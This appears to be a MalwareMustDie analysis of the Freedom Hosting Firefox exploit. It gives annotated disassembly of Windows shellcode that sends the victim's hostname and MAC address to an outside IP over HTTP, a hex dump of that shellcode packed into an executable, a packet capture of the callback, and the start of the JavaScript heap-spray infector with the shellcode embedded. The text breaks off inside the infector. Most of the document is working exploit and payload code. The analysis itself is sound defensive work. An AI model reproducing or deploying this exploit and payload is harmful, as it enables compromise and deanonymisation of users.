| 0x000000f3 8db5e1020000 lea esi, [ebp+0x2e1] ; struct sockaddr_in { AF_INET, "80", "65.222.202.54" }
^^^^^^^^^^^^^^^^^^ 2nd Callback is here!
| 0x000000f9 56 push esi ; sockaddr
| 0x000000fa 53 push ebx ; socket
| 0x000000fb 6899a57461 push 0x6174a599 ; 0x6174a599 ; "connect@WS2_32.DLL (Import, Hidden, 3 Params)"
| 0x00000100 ffd5 call ebp
| 0x00000000(unk, unk, unk, unk)
| 0x00000102 85c0 test eax, eax ; executed all of the opening connection part,to that IP, boom!!
========< 0x00000104 741f jz 0x125
| 0x00000106 fe8d89000000 dec byte [ebp+0x89] ; 5
========< 0x0000010c 75e3 jnz 0x1000000f1
`-------> 0x0000010e 80bd4f02000. cmp byte [ebp+0x24f], 0x1
========< 0x00000115 7407 jz 0x11e
0x00000117 e83b010000 call 0x257
0x00000257()
========< 0x0000011c eb05 jmp 0x123
--------> 0x0000011e e84d010000 call 0x270
--------> 0x00000270()
--------> 0x00000123 ffe7 jmp edi
--------> 0x00000125 b800010000 mov eax, 0x100
0x0000012a 29c4 sub esp, eax
0x0000012c 89e2 mov edx, esp
0x0000012e 52 push edx
0x0000012f 50 push eax
0x00000130 52 push edx ; below is where the hostname is grabbed↓
0x00000131 68b649de01 push 0x1de49b6 ; 0x01de49b6 ; "gethostname@WS2_32.DLL (Import, Hidden, 2 Params)"
0x00000136 ffd5 call ebp
0x00000000(unk, unk, unk, unk)
0x00000138 5f pop edi
0x00000139 81c400010000 add esp, 0x100
0x0000013f 85c0 test eax, eax ; poc of execution for above codes.
========< 0x00000141 0f85f2000000 jnz 0x239
0x00000147 57 push edi
0x00000148 e8f9000000 call 0x246 ; strlen(gethostname);
0x00000246(unk)
0x0000014d 5e pop esi
0x0000014e 89ca mov edx, ecx
0x00000150 8dbde9020000 lea edi, [ebp+0x2e9]
0x00000156 e8eb000000 call 0x246 ; // shift to last of HTTP request string..question is why?--(3)
0x00000246()
0x0000015b 4f dec edi
0x0000015c 83fa20 cmp edx, 0x20
========< 0x0000015f 7c05 jl 0x166
0x00000161 ba20000000 mov edx, 0x20
--------> 0x00000166 89d1 mov ecx, edx
0x00000168 56 push esi
0x00000169 f3a4 rep movsb
0x0000016b b90d000000 mov ecx, 0xd ; below is how the cookie data will be checked (compared)
0x00000170 8db5c4020000 lea esi, [ebp+0x2c4] ; "\r\nCookie: ID="
0x00000176 f3a4 rep movsb
0x00000178 89bd4b020000 mov [ebp+0x24b], edi
0x0000017e 5e pop esi
0x0000017f 56 push esi ; below is the check of host
0x00000180 68a9283480 push 0x803428a9 ; 0x803428a9 ; "gethostbyname@WS2_32.DLL (Import, Hidden, 1 Params)"
0x00000185 ffd5 call ebp
0x00000000(unk, unk, unk)
0x00000187 85c0 test eax, eax ; PoC of the execution of above codes.
========< 0x00000189 0f84aa000000 jz 0x239
0x0000018f 668b480a mov cx, [eax+0xa]
0x00000193 6683f904 cmp cx, 0x4
========< 0x00000197 0f829c000000 jb 0x239
0x0000019d 8d400c lea eax, [eax+0xc]
0x000001a0 8b00 mov eax, [eax]
0x000001a2 8b08 mov ecx, [eax]
0x000001a4 8b09 mov ecx, [ecx]
0x000001a6 b800010000 mov eax, 0x100
0x000001ab 50 push eax
0x000001ac 89e7 mov edi, esp
0x000001ae 29c4 sub esp, eax
0x000001b0 89e6 mov esi, esp
0x000001b2 57 push edi
0x000001b3 56 push esi
0x000001b4 51 push ecx
0x000001b5 51 push ecx ; this↓ is ARP sending function w/sending TCP/IP
0x000001b6 684872d2b8 push 0xb8d27248 ; 0xb8d27248 ;"SendARP@IPHLPAPI.DLL" <==now we know where MAcADDR from
0x000001bb ffd5 call ebp
0x00000000(unk, unk, unk, unk, unk, unk)
0x000001bd 85c0 test eax, eax ; this code is a poc of an execution, boom!!
0x000001bf 81c404010000 add esp, 0x104
0x000001c5 0fb70f movzx ecx, word [edi]
0x000001c8 83f906 cmp ecx, 0x6
========< 0x000001cb 726c jb 0x239
0x000001cd b906000000 mov ecx, 0x6
0x000001d2 b810000000 mov eax, 0x10
0x000001d7 29c4 sub esp, eax
0x000001d9 89e7 mov edi, esp
0x000001db 89ca mov edx, ecx
0x000001dd d1e2 shl edx, 1
0x000001df 50 push eax
0x000001e0 52 push edx
--------> 0x000001e1 31d2 xor edx, edx
0x000001e3 8a16 mov dl, [esi]
0x000001e5 88d0 mov al, dl
0x000001e7 24f0 and al, 0xf0
0x000001e9 c0e804 shr al, 0x4
0x000001ec 3c09 cmp al, 0x9
========< 0x000001ee 7704 ja 0x1f4
0x000001f0 0430 add al, 0x30
========< 0x000001f2 eb02 jmp 0x1f6
--------> 0x000001f4 0437 add al, 0x37
--------> 0x000001f6 8807 mov [edi], al
0x000001f8 47 inc edi
0x000001f9 88d0 mov al, dl
0x000001fb 240f and al, 0xf
0x000001fd 3c09 cmp al, 0x9
========< 0x000001ff 7704 ja 0x205
0x00000201 0430 add al, 0x30
========< 0x00000203 eb02 jmp 0x207
--------> 0x00000205 0437 add al, 0x37
--------> 0x00000207 8807 mov [edi], al
0x00000209 47 inc edi
0x0000020a 46 inc esi
========< 0x0000020b e2d4 loop 0x1000001e1
0x0000020d 59 pop ecx
0x0000020e 29cf sub edi, ecx
0x00000210 89fe mov esi, edi
0x00000212 58 pop eax
0x00000213 01c4 add esp, eax
0x00000215 8bbd4b020000 mov edi, [ebp+0x24b]
0x0000021b f3a4 rep movsb
0x0000021d c6854f02000. mov byte [ebp+0x24f], 0x1
0x00000224 e82e000000 call 0x257 ; get "Connection: keep-alive\r\nAccept: */*\r\nAccept-Encoding: gzip\r\n\r\n"
0x00000257(unk, unk)
0x00000229 31c0 xor eax, eax
0x0000022b 50 push eax
0x0000022c 51 push ecx
0x0000022d 29cf sub edi, ecx
0x0000022f 4f dec edi
0x00000230 57 push edi
0x00000231 53 push ebx
0x00000232 68c2eb385f push 0x5f38ebc2 ; 0x5f38ebc2 ; "send@WS2_32.DLL (Import, Hidden, 4 Params)"
0x00000237 ffd5 call ebp
0x00000000(unk, unk, unk, unk, unk)
--------> 0x00000239 53 push ebx
0x0000023a 68756e4d61 push 0x614d6e75 ; 0x614d6e75 ; "closesocket@WS2_32.DLL (Import, Hidden, 1 Params)"
0x0000023f ffd5 call ebp
0x00000000(unk, unk)
========< 0x00000241 e9c8feffff jmp 0x10000010e
0x00000246 31c9 xor ecx, ecx
0x00000248 f7d1 not ecx
0x0000024a 31c0 xor eax, eax
0x0000024c f2ae repne scasb
0x0000024e f7d1 not ecx
0x00000250 49 dec ecx
0x00000251 c3 ret
0x00000252 0000 add [eax], al
0x00000254 0000 add [eax], al
0x00000256 008dbde90200 add [ebp+0x2e9bd], cl
0x0000025c 00e8 add al, ch
0x0000025e e4ff in al, 0xff
0x00000260 ff invalid
0x00000261 ff4fb9 dec dword [edi-0x47]
0x00000264 4f dec edi
0x00000265 0000 add [eax], al
0x00000267 008db5750200 add [ebp+0x275b5], cl
0x0000026d 00f3 add bl, dh
0x0000026f a4 movsb
0x00000270 8dbde9020000 lea edi, [ebp+0x2e9]
0x00000276 e8cbffffff call 0x100000246
0x00000246()
0x0000027b c3 ret
0x0000027c 0d0a436f6e or eax, 0x6e6f430a
0x00000281 6e outsb
0x00000282 656374696f arpl [gs:ecx+ebp*2+0x6f], si
0x00000287 6e outsb
0x00000288 3a20 cmp ah, [eax]
0x0000028a 6b656570 imul esp, [ebp+0x65], 0x70
0x0000028e 2d616c6976 sub eax, 0x76696c61
0x00000293 650d0a416363 or eax, 0x6363410a
,=< 0x00000299 657074 jo 0x310
| 0x0000029c 3a20 cmp ah, [eax]
| 0x0000029e 2a2f sub ch, [edi]
| 0x000002a0 2a0d0a416363 sub cl, [0x6363410a]
,==< 0x000002a6 657074 jo 0x31d
|| 0x000002a9 2d456e636f sub eax, 0x6f636e45
|| 0x000002ae 64696e673a2. imul ebp, [fs:esi+0x67], 0x7a67203a
|| 0x000002b6 69700d0a0d0. imul esi, [eax+0xd], 0xa0d0a
|| 0x000002bd 83c70e add edi, 0xe
|| 0x000002c0 31c9 xor ecx, ecx
|| 0x000002c2 f7d1 not ecx
|| 0x000002c4 31c0 xor eax, eax
|| 0x000002c6 f3ae repe scasb
|| 0x000002c8 4f dec edi
|| 0x000002c9 ffe7 jmp edi
|| 0x000002cb 0d0a436f6f or eax, 0x6f6f430a
|| 0x000002d0 6b69653a imul ebp, [ecx+0x65], 0x3a
|| 0x000002d4 204944 and [ecx+0x44], cl
|| 0x000002d7 3d7773325f cmp eax, 0x5f327377
|| 0x000002dc 3332 xor esi, [edx]
|| 0x000002de 004950 add [ecx+0x50], cl
|| 0x000002e1 48 dec eax
|| 0x000002e2 4c dec esp
|| 0x000002e3 50 push eax
|| 0x000002e4 41 inc ecx
|| 0x000002e5 50 push eax
|| 0x000002e6 49 dec ecx
|| 0x000002e7 0002 add [edx], al
|| 0x000002e9 0000 add [eax], al
|| 0x000002eb 50 push eax
|| 0x000002ec 41 inc ecx
|| 0x000002ed deca fmulp st2, st0
|| 0x000002ef 3647 inc edi
|| 0x000002f1 45 inc ebp
|| 0x000002f2 54 push esp
|| 0x000002f3 202f and [edi], ch
|| 0x000002f5 303563656134 xor [0x34616563], dh
|| 0x000002fb 64652d39353. sub eax, 0x64313539
|| 0x00000302 2d34303337 sub eax, 0x37333034
|| 0x00000307 2d62663866 sub eax, 0x66386662
|| 0x0000030c 2d66363930 sub eax, 0x30393666
| 0x00000311 3535623237 xor eax, 0x37326235
| 0x00000316 396262 cmp [edx+0x62], esp
| 0x00000319 204854 and [eax+0x54], cl
| 0x0000031c 54 push esp
`--> 0x0000031d 50 push eax
0x0000031e 2f das
0x0000031f 312e xor [esi], ebp
0x00000321 310d0a486f73 xor [0x736f480a], ecx
,===< 0x00000327 743a jz 0x363
| 0x00000329 2000 and [eax], al
| 0x0000032b 0000 add [eax], al
| 0x0000032d 0000 add [eax], al
| 0x0000032f 0000 add [eax], al
| 0x00000331 0000 add [eax], al
| 0x00000333 0000 add [eax], al
| 0x00000335 0000 add [eax], al
| 0x00000337 0000 add [eax], al
| 0x00000339 0000 add [eax], al
| 0x0000033b 0000 add [eax], al
| 0x0000033d 0000 add [eax], al
| 0x0000033f 0000 add [eax], al
| 0x00000341 0000 add [eax], al
| 0x00000343 0000 add [eax], al
| 0x00000345 0000 add [eax], al
| 0x00000347 0000 add [eax], al
| 0x00000349 0000 add [eax], al
| 0x0000034b 0000 add [eax], al
| 0x0000034d 0000 add [eax], al
| 0x0000034f 0000 add [eax], al
| 0x00000351 0000 add [eax], al
| 0x00000353 0000 add [eax], al
| 0x00000355 0000 add [eax], al
| 0x00000357 0000 add [eax], al
| 0x00000359 0000 add [eax], al
| 0x0000035b 0000 add [eax], al
| 0x0000035d 0000 add [eax], al
| 0x0000035f 0000 add [eax], al
| 0x00000361 0000 add [eax], al
`---> 0x00000363 0000 add [eax], al
0x00000365 0000 add [eax], al
0x00000367 0000 add [eax], al
0x00000369 0000 add [eax], al
0x0000036b 0000 add [eax], al
0x0000036d 0000 add [eax], al
0x0000036f 0000 add [eax], al
0x00000371 0000 add [eax], al
0x00000373 0000 add [eax], al
0x00000375 0000 add [eax], al
0x00000377 0000 add [eax], al
0x00000379 0000 add [eax], al
0x0000037b 0000 add [eax], al
0x0000037d 0000 add [eax], al
0x0000037f 0000 add [eax], al
0x00000381 0000 add [eax], al
0x00000383 0000 add [eax], al
0x00000385 0000 add [eax], al
0x00000387 0000 add [eax], al
0x00000389 0000 add [eax], al
0x0000038b 0000 add [eax], al
0x0000038d 0000 add [eax], al
0x0000038f 0000 add [eax], al
0x00000391 0000 add [eax], al
0x00000393 0000 add [eax], al
0x00000395 0000 add [eax], al
0x00000397 0000 add [eax], al
0x00000399 0000 add [eax], al
0x0000039b 0000 add [eax], al
0x0000039d 0000 add [eax], al
0x0000039f 0000 add [eax], al
0x000003a1 0000 add [eax], al
0x000003a3 0000 add [eax], al
0x000003a5 0000 add [eax], al
0x000003a7 0000 add [eax], al
0x000003a9 0000 add [eax], al
0x000003ab 0000 add [eax], al
0x000003ad 0000 add [eax], al
0x000003af 0000 add [eax], al
0x000003b1 0000 add [eax], al
0x000003b3 0000 add [eax], al
0x000003b5 0000 add [eax], al
0x000003b7 0000 add [eax], al
0x000003b9 0000 add [eax], al
0x000003bb 90 nop
# Explanation & conclusion for payload
The exploit is aiming Firefox, this shellcode is aiming Windows OS only,
and affected to all victims accessing specific .onion sites where the redirection script was implemented.
So the payload is a shellcode. It send callback w/strings(data) for hostname to a specific IP outside of TOR.
During the connection session sending ARP to specific host args which will attached the PC's MAC Address to the packet sent to the destination, the PCAP is the PoC for this.
While the GET request will send the global IP of the infected PC to the remote host. The PC's hostname was grabbed before the send operation was done.
# Callback:
The IP address GeoIP:
65.222.202.54
ASN: 701 / UUNET
Prefix: 65.192.0.0/11
Vienna, Virginia, United States, North America
38.9012,-77.2653 Verizon Business
Noted: One of unlisted (N/A)block of eight IP addresses in USA that have no organization listed
# Dumping the shellcode into the exe....
# binhex:
0000 4D 5A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 MZ..............
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 ............@...
0040 50 45 00 00 4C 01 01 00 5D BE 45 45 00 00 00 00 PE..L...].EE....
0050 00 00 00 00 E0 00 03 01 0B 01 08 00 BC 03 00 00 ................
0060 00 00 00 00 00 00 00 00 60 01 00 00 60 01 00 00 ........`...`...
0070 1C 05 00 00 00 00 40 00 01 00 00 00 01 00 00 00 ......@.........
0080 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 ................
0090 1C 05 00 00 60 01 00 00 00 00 00 00 02 00 00 04 ....`...........
00A0 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 ................
00B0 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ................
00C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0130 00 00 00 00 00 00 00 00 2E 74 65 78 74 00 00 00 .........text...
0140 BC 03 00 00 60 01 00 00 BC 03 00 00 60 01 00 00 ....`.......`...
0150 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 ............ ..`
0160 60 FC E8 8A 00 00 00 60 89 E5 31 D2 64 8B 52 30 `......`..1.d.R0
0170 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF 31 .R..R..r(..J&1.1
0180 C0 AC 3C 61 7C 02 2C 20 C1 CF 0D 01 C7 E2 F0 52 ..<a|., .......R
0190 57 8B 52 10 8B 42 3C 01 D0 8B 40 78 85 C0 74 4A W.R..B<...@x..tJ
01A0 01 D0 50 8B 48 18 8B 58 20 01 D3 E3 3C 49 8B 34 ..P.H..X ...<I.4
01B0 8B 01 D6 31 FF 31 C0 AC C1 CF 0D 01 C7 38 E0 75 ...1.1.......8.u
01C0 F4 03 7D F8 3B 7D 24 75 E2 58 8B 58 24 01 D3 66 ..}.;}$u.X.X$..f
01D0 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 89 44 24 ..K.X.........D$
01E0 24 5B 5B 61 59 5A 51 FF E0 58 5F 5A 8B 12 EB 86 $[[aYZQ..X_Z....
01F0 05 5D 81 BD E9 02 00 00 47 45 54 20 75 70 8D 85 .]......GET up..
0200 D1 02 00 00 50 68 4C 77 26 07 FF D5 85 C0 74 5E ....PhLw&.....t^
0210 8D 85 D8 02 00 00 50 68 4C 77 26 07 FF D5 85 C0 ......PhLw&.....
0220 74 4C BB 90 01 00 00 29 DC 54 53 68 29 80 6B 00 tL.....).TSh).k.
0230 FF D5 01 DC 85 C0 75 36 50 50 50 50 40 50 40 50 ......u6PPPP@P@P
0240 68 EA 0F DF E0 FF D5 31 DB F7 D3 39 C3 74 1F 89 h......1...9.t..
0250 C3 6A 10 8D B5 E1 02 00 00 56 53 68 99 A5 74 61 .j.......VSh..ta
0260 FF D5 85 C0 74 1F FE 8D 89 00 00 00 75 E3 80 BD ....t.......u...
0270 4F 02 00 00 01 74 07 E8 3B 01 00 00 EB 05 E8 4D O....t..;......M
0280 01 00 00 FF E7 B8 00 01 00 00 29 C4 89 E2 52 50 ..........)...RP
0290 52 68 B6 49 DE 01 FF D5 5F 81 C4 00 01 00 00 85 Rh.I...._.......
02A0 C0 0F 85 F2 00 00 00 57 E8 F9 00 00 00 5E 89 CA .......W.....^..
02B0 8D BD E9 02 00 00 E8 EB 00 00 00 4F 83 FA 20 7C ...........O.. |
02C0 05 BA 20 00 00 00 89 D1 56 F3 A4 B9 0D 00 00 00 .. .....V.......
02D0 8D B5 C4 02 00 00 F3 A4 89 BD 4B 02 00 00 5E 56 ..........K...^V
02E0 68 A9 28 34 80 FF D5 85 C0 0F 84 AA 00 00 00 66 h.(4...........f
02F0 8B 48 0A 66 83 F9 04 0F 82 9C 00 00 00 8D 40 0C .H.f..........@.
0300 8B 00 8B 08 8B 09 B8 00 01 00 00 50 89 E7 29 C4 ...........P..).
0310 89 E6 57 56 51 51 68 48 72 D2 B8 FF D5 85 C0 81 ..WVQQhHr.......
0320 C4 04 01 00 00 0F B7 0F 83 F9 06 72 6C B9 06 00 ...........rl...
0330 00 00 B8 10 00 00 00 29 C4 89 E7 89 CA D1 E2 50 .......).......P
0340 52 31 D2 8A 16 88 D0 24 F0 C0 E8 04 3C 09 77 04 R1.....$....<.w.
0350 04 30 EB 02 04 37 88 07 47 88 D0 24 0F 3C 09 77 .0...7..G..$.<.w
0360 04 04 30 EB 02 04 37 88 07 47 46 E2 D4 59 29 CF ..0...7..GF..Y).
0370 89 FE 58 01 C4 8B BD 4B 02 00 00 F3 A4 C6 85 4F ..X....K.......O
0380 02 00 00 01 E8 2E 00 00 00 31 C0 50 51 29 CF 4F .........1.PQ).O
0390 57 53 68 C2 EB 38 5F FF D5 53 68 75 6E 4D 61 FF WSh..8_..ShunMa.
03A0 D5 E9 C8 FE FF FF 31 C9 F7 D1 31 C0 F2 AE F7 D1 ......1...1.....
03B0 49 C3 00 00 00 00 00 8D BD E9 02 00 00 E8 E4 FF I...............
03C0 FF FF 4F B9 4F 00 00 00 8D B5 75 02 00 00 F3 A4 ..O.O.....u.....
03D0 8D BD E9 02 00 00 E8 CB FF FF FF C3 0D 0A 43 6F ..............Co
03E0 6E 6E 65 63 74 69 6F 6E 3A 20 6B 65 65 70 2D 61 nnection: keep-a
03F0 6C 69 76 65 0D 0A 41 63 63 65 70 74 3A 20 2A 2F live..Accept: */
0400 2A 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 69 *..Accept-Encodi
0410 6E 67 3A 20 67 7A 69 70 0D 0A 0D 0A 00 83 C7 0E ng: gzip........
0420 31 C9 F7 D1 31 C0 F3 AE 4F FF E7 0D 0A 43 6F 6F 1...1...O....Coo
0430 6B 69 65 3A 20 49 44 3D 77 73 32 5F 33 32 00 49 kie: ID=ws2_32.I
0440 50 48 4C 50 41 50 49 00 02 00 00 50 41 DE CA 36 PHLPAPI....PA..6
0450 47 45 54 20 2F 30 35 63 65 61 34 64 65 2D 39 35 GET /05cea4de-95
0460 31 64 2D 34 30 33 37 2D 62 66 38 66 2D 66 36 39 1d-4037-bf8f-f69
0470 30 35 35 62 32 37 39 62 62 20 48 54 54 50 2F 31 055b279bb HTTP/1
0480 2E 31 0D 0A 48 6F 73 74 3A 20 00 00 00 00 00 00 .1..Host: ......
0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0510 00 00 00 00 00 00 00 00 00 00 00 90 ............
# Faiyaaaaaa!!!!
# grab a PCAP:
https://lh4.googleusercontent.com/-0wkNuNmGI7s/U-r58ZI8l3I/AAAAAAAAQec/e7jPTahuyO8/s1152/001.png
#headers
13:55:52.350640 IP 192.168.0.20.1065 > 65.222.202.54.http: Flags [S], seq 4027180372, win 65535, options [mss 1460,nop,nop,sackOK], length 0
13:55:52.350691 IP 65.222.202.54.http > 192.168.0.20.1065: Flags [S.], seq 1594076372, ack 4027180373, win 14600, options [mss 1460,nop,nop,sackOK], length 0
13:55:52.350916 IP 192.168.0.20.1065 > 65.222.202.54.http: Flags [.], ack 1, win 65535, length 0
13:55:52.432742 IP 192.168.0.20.1065 > 65.222.202.54.http: Flags [P.], seq 1:154, ack 1, win 65535, length 153
13:55:52.432760 IP 65.222.202.54.http > 192.168.0.20.1065: Flags [.], ack 154, win 15544, length 0
13:55:52.432880 IP 192.168.0.20.1065 > 65.222.202.54.http: Flags [F.], seq 154, ack 1, win 65535, length 0
13:55:52.433010 IP 65.222.202.54.http > 192.168.0.20.1065: Flags [F.], seq 1, ack 155, win 15544, length 0
13:55:52.433398 IP 192.168.0.20.1065 > 65.222.202.54.http: Flags [.], ack 2, win 65535, length 0
# sent HTTP data:
00000000 47 45 54 20 2f 30 35 63 65 61 34 64 65 2d 39 35 GET /05c ea4de-95
00000010 31 64 2d 34 30 33 37 2d 62 66 38 66 2d 66 36 39 1d-4037- bf8f-f69
00000020 30 35 35 62 32 37 39 62 62 20 48 54 54 50 2f 31 055b279b b HTTP/1
00000030 2e 31 0d 0a 48 6f 73 74 3a 20 39 32 31 37 30 32 .1..Host : 921702
00000040 0d 0a 43 6f 6f 6b 69 65 3a 20 49 44 3d 30 30 32 ..Cookie : ID=002
00000050 31 38 36 31 39 34 35 37 38 0d 0a 43 6f 6e 6e 65 18619457 8..Conne
00000060 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 ction: k eep-aliv
00000070 65 0d 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a e..Accep t: */*..
00000080 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a Accept-E ncoding:
00000090 20 67 7a 69 70 0d 0a 0d 0a gzip... .
#sent Mac Address data:
Source: 192.168.0.20:1065 -> 65.222.202.54:80
HTTP traffic Header contains sensitive information 00XXXXXXXXXX (macaddr):
- check mate -
----
Investigated by:
#MalwareMustDie! The team!
Raw
js_infector.js
# MalwareMustDie!
# This is the malicious Javascript codes functioned as "infector" to the user redirected -
# from the JS codes injected to the Freedom Hosting site.
# This script contains the payload to infect the victim.
# Poc, is the URL of:
# http://nl7qbezu7pqsuone.onion?requestID=203f1a01-6bc7-4c8b-b0be-2726a7a3cbd0
# Refer to the paste: http://pastebin.com/bu2Ya0n6
//infector URL : nl7qbezu7pqsuone.onion/?requestID=203f1a01-6bc7-4c8b-b0be-2726a7a3cbd0
<html>
<body>
<iframe frameborder=0 border=0 height=1 width=1 id="iframe"> </iframe>
</body>
</html>
<script>
var var1=0xB0;
var var2 = new Array(var1);
var var3 = new Array(var1);
var var4 = new Array(var1);
var var5=0xFF004;
var var6=0x3FC01;
var var7=0x60000000;
var var8=0x18000000;
var var9=1;
var var10 = 0x12000000;
var var11 = 0;
var var12=0;
var var13 =0;
function df()
{
if(var12==0)
{
return 0x00000000;
}
var var14 = var10 + 0x00010000 * var11 + 0x0000002B;
if( var9 == 1 || var9 == 2)
return ( var14 - var12);
else
return 0x00000000;
}
function b()
{
var version = al();
if(version <17)
{
window.location.href="content_1.html";
}
if( version >=17 && version <18 )
var12 = 0xE8;
return ;
}
function c()
{
var iframe=document.getElementById("iframe");
iframe.src="content_2.html";
}
function d()
{
for(var j=0;j<var1;j++)
{
if( j<var1/8 || j==var1-1)
{
var tabb = new Array(0x1ED00);
var4[j]=tabb;
for(i=0;i<0x1ED00;i++)
{
var4[j][i]=0x11559944;
}
}
var2[j]= new ArrayBuffer(var5);
}
for(var j=0;j<var1;j++)
{
var3[j]= new Int32Array(var2[j],0,var6);
var3[j][0]=0x11336688;
for(var i=1;i<16;i++)
{
var3[j][0x4000*i] = 0x11446688;
}
}
for(var j=0;j<var1;j++)
{
if(typeof var4[j] !="undefined")
{
var4[j][0]=0x22556611;
}
}
}
function e(view)
{
var i=0;
for(i=0;i<0x400;i++)
{
view[i] = var13+0x1010 ;
}
view[0x0]=var13+0x1010;
view[0x44]=0x0;
view[0x45]=0x0;
view[0x400-4]=var13+0x1010;
view[0x400]=0x00004004;
view[0x401]=0x7FFE0300;
}
function f(var15,view,var16)
{
var magneto = "";
var magneto = ("\ufc60\u8ae8"+"\u0000\u6000"+"\ue589\ud231"+"\u8b64\u3052"+"\u528b\u8b0c"+"\u1452\u728b"+"\u0f28\u4ab7"+"\u3126\u31ff"+"\uacc0\u613c"+"\u027c\u202c"+"\ucfc1\u010d"+"\ue2c7\u52f0"+"\u8b57\u1052"+"\u428b\u013c"+"\u8bd0\u7840"+"\uc085\u4a74"+"\ud001\u8b50"+"\u1848\u588b"+"\u0120\ue3d3"+"\u493c\u348b"+"\u018b\u31d6"+"\u31ff\uacc0"+"\ucfc1\u010d"+"\u38c7\u75e0"+"\u03f4\uf87d"+"\u7d3b\u7524"+"\u58e2\u588b"+"\u0124\u66d3"+"\u0c8b\u8b4b"+"\u1c58\ud301"+"\u048b\u018b"+"\u89d0\u2444"+"\u5b24\u615b"+"\u5a59\uff51"+"\u58e0\u5a5f"+"\u128b\u86eb"+"\u5d05\ubd81"+"\u02e9\u0000"+"\u4547\u2054"+"\u7075\u858d"+"\u02d1\u0000"+"\u6850\u774c"+"\u0726\ud5ff"+"\uc085\u5e74"+"\u858d\u02d8"+"\u0000\u6850"+"\u774c\u0726"+"\ud5ff\uc085"+"\u4c74\u90bb"+"\u0001\u2900"+"\u54dc\u6853"+"\u8029\u006b"+"\ud5ff\udc01"+"\uc085\u3675"+"\u5050\u5050"+"\u5040\u5040"+"\uea68\udf0f"+"\uffe0\u31d5"+"\uf7db\u39d3"+"\u74c3\u891f"+"\u6ac3\u8d10"+"\ue1b5\u0002"+"\u5600\u6853"+"\ua599\u6174"+"\ud5ff\uc085"+"\u1f74\u8dfe"+"\u0089\u0000"+"\ue375\ubd80"+"\u024f\u0000"+"\u7401\ue807"+"\u013b\u0000"+"\u05eb\u4de8"+"\u0001\uff00"+"\ub8e7\u0100"+"\u0000\uc429"+"\ue289\u5052"+"\u6852\u49b6"+"\u01de\ud5ff"+"\u815f\u00c4"+"\u0001\u8500"+"\u0fc0\uf285"+"\u0000\u5700"+"\uf9e8\u0000"+"\u5e00\uca89"+"\ubd8d\u02e9"+"\u0000\uebe8"+"\u0000\u4f00"+"\ufa83\u7c20"+"\uba05\u0020"+"\u0000\ud189"+"\uf356\ub9a4"+"\u000d\u0000"+"\ub58d\u02c4"+"\u0000\ua4f3"+"\ubd89\u024b"+"\u0000\u565e"+"\ua968\u3428"+"\uff80\u85d5"+"\u0fc0\uaa84"+"\u0000\u6600"+"\u488b\u660a"+"\uf983\u0f04"+"\u9c82\u0000"+"\u8d00\u0c40"+"\u008b\u088b"+"\u098b\u00b8"+"\u0001\u5000"+"\ue789\uc429"+"\ue689\u5657"+"\u5151\u4868"+"\ud272\uffb8"+"\u85d5\u81c0"+"\u04c4\u0001"+"\u0f00\u0fb7"+"\uf983\u7206"+"\ub96c\u0006"+"\u0000\u10b8"+"\u0000\u2900"+"\u89c4\u89e7"+"\ud1ca\u50e2"+"\u3152\u8ad2"+"\u8816\u24d0"+"\uc0f0\u04e8"+"\u093c\u0477"+"\u3004\u02eb"+"\u3704\u0788"+"\u8847\u24d0"+"\u3c0f\u7709"+"\u0404\ueb30"+"\u0402\u8837"+"\u4707\ue246"+"\u59d4\ucf29"+"\ufe89\u0158"+"\u8bc4\u4bbd"+"\u0002\uf300"+"\uc6a4\u4f85"+"\u0002\u0100"+"\u2ee8\u0000"+"\u3100\u50c0"+"\u2951\u4fcf"+"\u5357\uc268"+"\u38eb\uff5f"+"\u53d5\u7568"+"\u4d6e\uff61"+"\ue9d5\ufec8"+"\uffff\uc931"+"\ud1f7\uc031"+"\uaef2\ud1f7"+"\uc349\u0000"+"\u0000\u8d00"+"\ue9bd\u0002"+"\ue800\uffe4"+"\uffff\ub94f"+"\u004f\u0000"+"\ub58d\u0275"+"\u0000\ua4f3"+"\ubd8d\u02e9"+"\u0000\ucbe8"+"\uffff\uc3ff"+"\u0a0d\u6f43"+"\u6e6e\u6365"+"\u6974\u6e6f"+"\u203a\u656b"+"\u7065\u612d"+"\u696c\u6576"+"\u0a0d\u6341"+"\u6563\u7470"+"\u203a\u2f2a"+"\u0d2a\u410a"+"\u6363\u7065"+"\u2d74\u6e45"+"\u6f63\u6964"+"\u676e\u203a"+"\u7a67\u7069"+"\u0a0d\u0a0d"+"\u8300\u0ec7"+"\uc931\ud1f7"+"\uc031\uaef3"+"\uff4f\u0de7"+"\u430a\u6f6f"+"\u696b\u3a65"+"\u4920\u3d44"+"\u7377\u5f32"+"\u3233\u4900"+"\u4850\u504c"+"\u5041\u0049"+